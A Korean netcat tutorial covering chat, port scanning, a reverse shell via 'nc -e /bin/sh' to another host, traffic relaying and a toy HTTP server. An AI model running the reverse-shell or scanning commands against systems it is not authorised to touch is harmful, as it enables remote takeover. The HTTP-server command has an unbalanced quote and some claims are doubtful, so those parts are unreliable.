Linux에서 Netcat을 간단하고 쉽게 사용하는 5가지 방법
Netcat은 TCP 및 UDP 패킷을 보내고 받을 수 있는 Linux의 강력한 명령줄 네트워크 유틸리티입니다. 다른 네트워크 도구와 달리 netcat은 매우 기본적입니다. 그러나 단순성으로 인해 네트워크를 통해 거의 모든 유형의 작업을 수행할 수 있습니다.
이 기사에서는 netcat으로 수행할 수 있는 5가지 간단한 네트워킹 작업을 보여줍니다. 또한 이 기사에서는 netcat이 특별한 이유와 이를 Linux 툴킷에 포함해야 하는 이유를 강조합니다.
Netcat은 어떻게 작동하며 왜 사용합니까?
Netcat은 네트워크 패킷을 보내고 받을 수 있는 기본 유틸리티입니다. 1995년에 Hobbit이라는 이름의 프로그래머가 처음 출시했습니다. 그 이후로 netcat은 모든 Linux 배포판의 중요한 부분이 되었습니다.
본질적으로 netcat은 하나의 Linux 호스트에서 다른 호스트로 네트워크 요청을 전송하여 작동합니다. 이 네트워크 요청에는 모든 유형의 데이터가 포함될 수 있으며 모든 포트에서 보낼 수 있습니다.
이 접근 방식은 netcat이 가능한 모든 유형의 네트워크 연결을 생성할 수 있음을 의미합니다. 예를 들어 프로그램은 파일을 전송하거나 역방향 셸 세션을 만드는 데 사용할 수 있는 직접 TCP 연결을 만들 수 있습니다 .
1. P2P 채팅 세션
netcat의 가장 기본적인 용도 중 하나는 두 Linux 시스템 간의 간단한 피어 투 피어 채팅 세션입니다. 이것은 정보를 송수신하기 위해 타사 서버에 의존하지 않는 통신 방법입니다.
- 이것이 작동하려면 로컬 컴퓨터에서 49152와 65536 사이의 포트를 열어야 합니다. 여기에서 원격 호스트가 연결하여 임의의 정보를 컴퓨터에 보낼 수 있습니다.
sudo ufw allow 50000
- 또한 컴퓨터가 정보를 보내려면 원격 호스트에서 다른 포트를 열어야 합니다.
sudo ufw allow 50001
netcat
다음 인수를 사용하여 컴퓨터에서 실행합니다 .
nc -lp 50000
이렇게 하면 포트 50000에서 데이터를 적극적으로 수신하는 netcat 세션이 열립니다.
- 원격 호스트는 이제 로컬 시스템으로 모든 텍스트 데이터를 보낼 수 있습니다. 예를 들어, 다음 명령은 시스템의 표준 입력을 원격 시스템으로 보냅니다.
cat - | nc 192.168.122.136 50000
- 메시지에 응답하기 위해 원격 호스트는 수신 데몬도 실행해야 합니다.
nc -lp 50001
- 이제 로컬 컴퓨터에서 원격 호스트로 메시지를 보낼 수도 있습니다.
cat - | nc 192.168.122.177 50001
2. 기본 포트 스캐너
포트 스캐너는 원격 호스트에서 시스템의 포트 세트에 액세스할 수 있는지 여부를 확인하는 간단한 유틸리티입니다. 이는 시스템에 적절한 포트가 열려 있는지 확실하지 않은 경우에 매우 유용합니다.
nc -v
단일 포트를 확인하려면 IP 주소와 확인하려는 포트를 실행하십시오 .
nc -v 192.168.122.177 80
netcat이 해당 범위 내의 각 포트 번호를 순차적으로 확인하는 번호 범위를 제공할 수도 있습니다. 예를 들어 다음 명령을 실행하면 열려 있는 모든 “잘 알려진” 포트를 검색합니다.
nc -v 192.168.122.177 1-1024
포트 쿼리의 단점 중 하나는 불필요한 네트워크 트래픽을 생성한다는 것입니다. 소규모 홈 네트워크에서 광범위한 포트를 테스트하는 경우 문제가 될 수 있습니다.
이 문제를 해결하려면 원격 호스트에서 네트워크 활동을 생성하지 않는 netcat의 “Zero I/O” 모드를 활성화하십시오.
nc -zv 192.168.122.177 1-1024
3. 리버스 쉘
리버스 셸은 Linux에서 침투 테스트의 빵과 버터입니다. 인바운드 포트를 열지 않고도 시스템을 제어할 수 있는 원격 셸 인스턴스입니다. 이것은 SSH 액세스 권한이 없는 시스템에 액세스해야 하는 경우 리버스 셸을 편리하게 만듭니다.
- 리버스 셸을 생성하려면 로컬 시스템에서 리스너 데몬을 열어야 합니다.
nc -lp 50000
- 원격 시스템에서 netcat 연결을 시작하십시오. 이 경우 원격 시스템의 셸 환경도 전달해야 합니다.
nc -e /bin/sh 192.168.122.136 50000
- 로컬 시스템으로 돌아가서 쉘 명령을 실행하십시오. 예를 들어 실행하면
ls
원격 사용자의 현재 디렉토리가 인쇄됩니다.
ls -la
- 역방향 셸 세션을 종료하려면 로컬 시스템의 리스너 데몬에서 Ctrl+를 누를 수 있습니다 .C
4. 기본 패킷 릴레이
네트워크 스트림을 직접 읽고 쓰는 것 외에도 netcat을 사용하여 들어오는 연결을 나가는 포트로 리디렉션할 수 있습니다. 이것은 UNIX 파이프를 사용하여 여러 netcat 수신기와 클라이언트 세션을 연결하여 작동합니다.
- 포트 50000에서 수신 대기하는 netcat 세션을 만듭니다. 이것은 기본 릴레이의 발신 포트 역할을 합니다.
nc -lv localhost 50000
- 새 터미널을 열고 다음 명령을 실행합니다.
nc -lv localhost 50001 | nc localhost 50000
이렇게 하면 포트 50001에 새 리스너 데몬이 생성되고 이 포트의 모든 패킷이 포트 50000으로 자동으로 리디렉션됩니다.
- 이제 들어오는 포트로 데이터를 보낼 수 있으며 netcat은 자동으로 출력을 나가는 포트로 리디렉션합니다.
echo "MakeTechEasier"| nc localhost 50001
- 로컬 포트 외에도 이 기능을 사용하여 모든 네트워크 트래픽을 다른 시스템으로 리디렉션할 수 있습니다. 예를 들어 다음 코드는 포트 50000의 데이터를 다른 시스템의 동일한 포트로 보냅니다.
nc -lv localhost 50000 | nc 192.168.122.177 50000
5. 기본 HTTP 서버
단일 페이지만 제공하려는 경우에도 HTTP 서버 설정은 복잡한 프로세스가 될 수 있습니다. 그런 점에서 netcat은 추가 도구를 설치하지 않고도 Linux에서 스핀업할 수 있는 간단한 정적 웹 서버 역할을 할 수도 있습니다.
- 기본 HTTP 응답 파일을 만듭니다. 다음 코드 스니펫은 간단한 메시지가 포함된 웹 페이지를 표시합니다.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- 홈 디렉토리에 “index.http”로 저장하십시오.
- 다음 명령을 실행합니다.
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
이제 작동하는 웹 서버가 있습니다. 웹 브라우저를 열고 http://localhost:8080으로 이동하여 웹 페이지를 방문할 수 있습니다.
- 터미널에서 Ctrl+를 눌러 현재 웹 서버 세션을 종료합니다.C
자주 묻는 질문
netcat을 사용하여 원격 시스템에 연결할 수 없습니다.
이 문제는 원격 시스템의 방화벽 포트가 차단되었기 때문에 발생했을 가능성이 큽니다. 컴퓨터에서 사용 중인 포트가 들어오는 연결과 나가는 연결 모두에 대해 열려 있는지 확인해야 합니다. sudo ufw allow 49999
예를 들어 원격 시스템에서 포트 49999를 사용하려면 실행해야 합니다 .
netcat을 사용하여 모든 호스트에 연결할 수 있습니까?
아니요. netcat은 임의의 네트워크 스트림을 읽고 쓸 수 있지만 시스템 네트워크에서 검색할 수 없는 시스템에는 연결할 수 없습니다. 여기에는 포트 포워딩이 활성화되지 않은 개인 네트워크와 네트워크 액세스 권한이 없는 에어 갭 시스템이 포함됩니다.
netcat에서 연결을 스푸핑할 수 있습니까?
아니요. netcat은 유효한 네트워크 인터페이스에서만 패킷을 보내고 받을 수 있기 때문입니다. 그러나 여러 네트워크 인터페이스가 있는 경우 특정 패킷의 출처를 변경할 수 있습니다.
예를 들어, nc -l -s 10.0.0.2 -p 50000
IP 주소가 “10.0.0.2”인 인터페이스를 사용하여 명시적으로 패킷을 보내도록 netcat에 지시하도록 실행할 수 있습니다.
이미지 크레디트: Unsplash를 통한 ThisisEngineering RAEng . Ramces Red의 모든 변경 및 스크린샷.
답글 남기기